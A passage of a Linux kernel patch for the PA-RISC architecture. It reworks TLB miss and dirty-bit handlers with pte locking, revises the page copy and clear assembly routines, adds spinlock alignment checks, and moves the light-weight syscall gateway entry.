+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +1044,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1066,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1214,11 +1252,12 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_20w
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1238,11 +1277,10 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1272,8 +1310,9 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_11
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1283,6 +1322,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1321,11 +1361,9 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -1333,6 +1371,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1368,13 +1407,15 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_20
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1394,13 +1435,13 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1508,11 +1549,12 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1526,8 +1568,9 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1537,6 +1580,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1548,13 +1592,15 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1570,29 +1616,14 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1606,35 +1637,21 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
+	mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
-	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	mtsp            t0, %sr1     /* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1646,32 +1663,17 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t1
+	f_extend	pte,t0
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1772,9 +1774,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1806,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1825,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1850,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2081,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..b2f0d3d 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -277,7 +277,7 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -288,54 +288,54 @@ ENTRY(copy_user_page_asm)
 	 * GCC probably can do this just as well.
 	 */
 
-	ldd		0(%r25), %r19
+	ldd		0(%r25), %r20
 	ldi		(PAGE_SIZE / 128), %r1
 
 	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
 	ldw		128(%r25), %r0		/* prefetch 2 */
 
-1:	ldd		8(%r25), %r20
+1:	ldd		8(%r25), %r21
 	ldw		192(%r25), %r0		/* prefetch 3 */
 	ldw		256(%r25), %r0		/* prefetch 4 */
 
-	ldd		16(%r25), %r21
-	ldd		24(%r25), %r22
-	std		%r19, 0(%r26)
-	std		%r20, 8(%r26)
-
-	ldd		32(%r25), %r19
-	ldd		40(%r25), %r20
-	std		%r21, 16(%r26)
-	std		%r22, 24(%r26)
-
-	ldd		48(%r25), %r21
-	ldd		56(%r25), %r22
-	std		%r19, 32(%r26)
-	std		%r20, 40(%r26)
-
-	ldd		64(%r25), %r19
-	ldd		72(%r25), %r20
-	std		%r21, 48(%r26)
-	std		%r22, 56(%r26)
-
-	ldd		80(%r25), %r21
-	ldd		88(%r25), %r22
-	std		%r19, 64(%r26)
-	std		%r20, 72(%r26)
-
-	ldd		 96(%r25), %r19
-	ldd		104(%r25), %r20
-	std		%r21, 80(%r26)
-	std		%r22, 88(%r26)
-
-	ldd		112(%r25), %r21
-	ldd		120(%r25), %r22
-	std		%r19, 96(%r26)
-	std		%r20, 104(%r26)
+	ldd		16(%r25), %r22
+	ldd		24(%r25), %r24
+	std		%r20, 0(%r26)
+	std		%r21, 8(%r26)
+
+	ldd		32(%r25), %r20
+	ldd		40(%r25), %r21
+	std		%r22, 16(%r26)
+	std		%r24, 24(%r26)
+
+	ldd		48(%r25), %r22
+	ldd		56(%r25), %r24
+	std		%r20, 32(%r26)
+	std		%r21, 40(%r26)
+
+	ldd		64(%r25), %r20
+	ldd		72(%r25), %r21
+	std		%r22, 48(%r26)
+	std		%r24, 56(%r26)
+
+	ldd		80(%r25), %r22
+	ldd		88(%r25), %r24
+	std		%r20, 64(%r26)
+	std		%r21, 72(%r26)
+
+	ldd		96(%r25), %r20
+	ldd		104(%r25), %r21
+	std		%r22, 80(%r26)
+	std		%r24, 88(%r26)
+
+	ldd		112(%r25), %r22
+	ldd		120(%r25), %r24
+	std		%r20, 96(%r26)
+	std		%r21, 104(%r26)
 
 	ldo		128(%r25), %r25
-	std		%r21, 112(%r26)
-	std		%r22, 120(%r26)
+	std		%r22, 112(%r26)
+	std		%r24, 120(%r26)
 	ldo		128(%r26), %r26
 
 	/* conditional branches nullify on forward taken branch, and on
@@ -343,7 +343,7 @@ ENTRY(copy_user_page_asm)
 	 * The ldd should only get executed if the branch is taken.
 	 */
 	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	ldd		0(%r25), %r20		/* start next loads */
 
 #else
 
@@ -354,52 +354,116 @@ ENTRY(copy_user_page_asm)
 	 * the full 64 bit register values on interrupt, we can't
 	 * use ldd/std on a 32 bit kernel.
 	 */
-	ldw		0(%r25), %r19
+	ldw		0(%r25), %r20
 	ldi		(PAGE_SIZE / 64), %r1
 
 1:
-	ldw		4(%r25), %r20
-	ldw		8(%r25), %r21
-	ldw		12(%r25), %r22
-	stw		%r19, 0(%r26)
-	stw		%r20, 4(%r26)
-	stw		%r21, 8(%r26)
-	stw		%r22, 12(%r26)
-	ldw		16(%r25), %r19
-	ldw		20(%r25), %r20
-	ldw		24(%r25), %r21
-	ldw		28(%r25), %r22
-	stw		%r19, 16(%r26)
-	stw		%r20, 20(%r26)
-	stw		%r21, 24(%r26)
-	stw		%r22, 28(%r26)
-	ldw		32(%r25), %r19
-	ldw		36(%r25), %r20
-	ldw		40(%r25), %r21
-	ldw		44(%r25), %r22
-	stw		%r19, 32(%r26)
-	stw		%r20, 36(%r26)
-	stw		%r21, 40(%r26)
-	stw		%r22, 44(%r26)
-	ldw		48(%r25), %r19
-	ldw		52(%r25), %r20
-	ldw		56(%r25), %r21
-	ldw		60(%r25), %r22
-	stw		%r19, 48(%r26)
-	stw		%r20, 52(%r26)
+	ldw		4(%r25), %r21
+	ldw		8(%r25), %r22
+	ldw		12(%r25), %r24
+	stw		%r20, 0(%r26)
+	stw		%r21, 4(%r26)
+	stw		%r22, 8(%r26)
+	stw		%r24, 12(%r26)
+	ldw		16(%r25), %r20
+	ldw		20(%r25), %r21
+	ldw		24(%r25), %r22
+	ldw		28(%r25), %r24
+	stw		%r20, 16(%r26)
+	stw		%r21, 20(%r26)
+	stw		%r22, 24(%r26)
+	stw		%r24, 28(%r26)
+	ldw		32(%r25), %r20
+	ldw		36(%r25), %r21
+	ldw		40(%r25), %r22
+	ldw		44(%r25), %r24
+	stw		%r20, 32(%r26)
+	stw		%r21, 36(%r26)
+	stw		%r22, 40(%r26)
+	stw		%r24, 44(%r26)
+	ldw		48(%r25), %r20
+	ldw		52(%r25), %r21
+	ldw		56(%r25), %r22
+	ldw		60(%r25), %r24
+	stw		%r20, 48(%r26)
+	stw		%r21, 52(%r26)
 	ldo		64(%r25), %r25
-	stw		%r21, 56(%r26)
-	stw		%r22, 60(%r26)
+	stw		%r22, 56(%r26)
+	stw		%r24, 60(%r26)
 	ldo		64(%r26), %r26
 	addib,COND(>),n	-1, %r1, 1b
-	ldw		0(%r25), %r19
+	ldw		0(%r25), %r20
 #endif
 	bv		%r0(%r2)
 	nop
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,7 +486,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
 
 	/*
 	 * We can't do this since copy_user_page is used to bring in
@@ -449,9 +512,9 @@ ENTRY(copy_user_page_asm)
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -464,12 +527,88 @@ ENTRY(copy_user_page_asm)
 	depwi		1, 9,1, %r29		/* Form aliased virtual address 'from' */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translations */
 
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
 
-	ldi		64, %r1
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
+#ifdef CONFIG_64BIT
+
+	ldd		0(%r29), %r20
+	ldi		(PAGE_SIZE / 128), %r1
+
+	ldw		64(%r29), %r0		/* prefetch 1 cacheline ahead */
+	ldw		128(%r29), %r0		/* prefetch 2 */
+
+2:	ldd		8(%r29), %r21
+	ldw		192(%r29), %r0		/* prefetch 3 */
+	ldw		256(%r29), %r0		/* prefetch 4 */
+
+	ldd		16(%r29), %r22
+	ldd		24(%r29), %r24
+	std		%r20, 0(%r28)
+	std		%r21, 8(%r28)
+
+	ldd		32(%r29), %r20
+	ldd		40(%r29), %r21
+	std		%r22, 16(%r28)
+	std		%r24, 24(%r28)
+
+	ldd		48(%r29), %r22
+	ldd		56(%r29), %r24
+	std		%r20, 32(%r28)
+	std		%r21, 40(%r28)
+
+	ldd		64(%r29), %r20
+	ldd		72(%r29), %r21
+	std		%r22, 48(%r28)
+	std		%r24, 56(%r28)
+
+	ldd		80(%r29), %r22
+	ldd		88(%r29), %r24
+	std		%r20, 64(%r28)
+	std		%r21, 72(%r28)
+
+	ldd		96(%r29), %r20
+	ldd		104(%r29), %r21
+	std		%r22, 80(%r28)
+	std		%r24, 88(%r28)
+
+	ldd		112(%r29), %r22
+	ldd		120(%r29), %r24
+	std		%r20, 96(%r28)
+	std		%r21, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r22, 112(%r28)
+	std		%r24, 120(%r28)
+
+	fdc		0(%r28)
+	ldo		64(%r28), %r28
+	fdc		0(%r28)
+	ldo		64(%r28), %r28
+	addib,COND(>),n	-1, %r1, 2b
+	ldd		0(%r29), %r20		/* start next loads */
+
+#else
+
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,53 +619,57 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
-	ldw		4(%r29), %r20
-	ldw		8(%r29), %r21
-	ldw		12(%r29), %r22
-	stw		%r19, 0(%r28)
-	stw		%r20, 4(%r28)
-	stw		%r21, 8(%r28)
-	stw		%r22, 12(%r28)
-	ldw		16(%r29), %r19
-	ldw		20(%r29), %r20
-	ldw		24(%r29), %r21
-	ldw		28(%r29), %r22
-	stw		%r19, 16(%r28)
-	stw		%r20, 20(%r28)
-	stw		%r21, 24(%r28)
-	stw		%r22, 28(%r28)
-	ldw		32(%r29), %r19
-	ldw		36(%r29), %r20
-	ldw		40(%r29), %r21
-	ldw		44(%r29), %r22
-	stw		%r19, 32(%r28)
-	stw		%r20, 36(%r28)
-	stw		%r21, 40(%r28)
-	stw		%r22, 44(%r28)
-	ldw		48(%r29), %r19
-	ldw		52(%r29), %r20
-	ldw		56(%r29), %r21
-	ldw		60(%r29), %r22
-	stw		%r19, 48(%r28)
-	stw		%r20, 52(%r28)
-	stw		%r21, 56(%r28)
-	stw		%r22, 60(%r28)
-	ldo		64(%r28), %r28
-	addib,COND(>)		-1, %r1,1b
+2:
+	ldw		0(%r29), %r20
+	ldw		4(%r29), %r21
+	ldw		8(%r29), %r22
+	ldw		12(%r29), %r24
+	stw		%r20, 0(%r28)
+	stw		%r21, 4(%r28)
+	stw		%r22, 8(%r28)
+	stw		%r24, 12(%r28)
+	ldw		16(%r29), %r20
+	ldw		20(%r29), %r21
+	ldw		24(%r29), %r22
+	ldw		28(%r29), %r24
+	stw		%r20, 16(%r28)
+	stw		%r21, 20(%r28)
+	stw		%r22, 24(%r28)
+	stw		%r24, 28(%r28)
+	ldw		32(%r29), %r20
+	ldw		36(%r29), %r21
+	ldw		40(%r29), %r22
+	ldw		44(%r29), %r24
+	stw		%r20, 32(%r28)
+	stw		%r21, 36(%r28)
+	stw		%r22, 40(%r28)
+	stw		%r24, 44(%r28)
+	ldw		48(%r29), %r20
+	ldw		52(%r29), %r21
+	ldw		56(%r29), %r22
+	ldw		60(%r29), %r24
+	stw		%r20, 48(%r28)
+	stw		%r21, 52(%r28)
+	stw		%r22, 56(%r28)
+	stw		%r24, 60(%r28)
+	fdc		0(%r28)
+	ldo		32(%r28), %r28
+	fdc		0(%r28)
+	ldo		32(%r28), %r28
+	addib,COND(>)		-1, %r1,2b
 	ldo		64(%r29), %r29
 
+#endif
+
+	sync
 	bv		%r0(%r2)
 	nop
 	.exit
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -548,17 +691,33 @@ ENTRY(__clear_user_page_asm)
 	depwi		0, 31,12, %r28		/* Clear any offset bits */
 #endif
 
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock, %r1
+	ldo		R%pa_tlb_lock(%r1), %r24
+	rsm		PSW_SM_I, %r22
+1:
+	LDCW		0(%r24),%r25
+	cmpib,COND(=)	0,%r25,1b
+	nop
+#endif
+
 	/* Purge any old translation */
 
 	pdtlb		0(%r28)
 
+#ifdef CONFIG_SMP
+	ldi		1,%r25
+	stw		%r25,0(%r24)
+	mtsm		%r22
+#endif
+
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
 
 	/* PREFETCH (Write) has not (yet) been proven to help here */
 	/* #define	PREFETCHW_OP	ldd		256(%0), %r0 */
 
-1:	std		%r0, 0(%r28)
+2:	std		%r0, 0(%r28)
 	std		%r0, 8(%r28)
 	std		%r0, 16(%r28)
 	std		%r0, 24(%r28)
@@ -574,13 +733,13 @@ ENTRY(__clear_user_page_asm)
 	std		%r0, 104(%r28)
 	std		%r0, 112(%r28)
 	std		%r0, 120(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		128(%r28), %r28
 
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
+2:
 	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
@@ -597,7 +756,7 @@ ENTRY(__clear_user_page_asm)
 	stw		%r0, 52(%r28)
 	stw		%r0, 56(%r28)
 	stw		%r0, 60(%r28)
-	addib,COND(>)		-1, %r1, 1b
+	addib,COND(>)		-1, %r1, 2b
 	ldo		64(%r28), %r28
 #endif	/* CONFIG_64BIT */
 
@@ -606,7 +765,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_kernel_dcache_page_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index df65366..a5314df 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -159,4 +159,5 @@ EXPORT_SYMBOL(_mcount);
 #endif
 
 /* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
+EXPORT_SYMBOL(clear_page_asm);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index cb71f3d..84b3239 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -128,6 +128,14 @@ void __init setup_arch(char **cmdline_p)
 	printk(KERN_INFO "The 32-bit Kernel has started...\n");
 #endif
 
+	/* Consistency check on the size and alignments of our spinlocks */
+#ifdef CONFIG_SMP
+	BUILD_BUG_ON(sizeof(arch_spinlock_t) != __PA_LDCW_ALIGNMENT);
+	BUG_ON((unsigned long)&__atomic_hash[0] & (__PA_LDCW_ALIGNMENT-1));
+	BUG_ON((unsigned long)&__atomic_hash[1] & (__PA_LDCW_ALIGNMENT-1));
+#endif
+	BUILD_BUG_ON((1<<L1_CACHE_SHIFT) != L1_CACHE_BYTES);
+
 	pdc_console_init();
 
 #ifdef CONFIG_64BIT
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
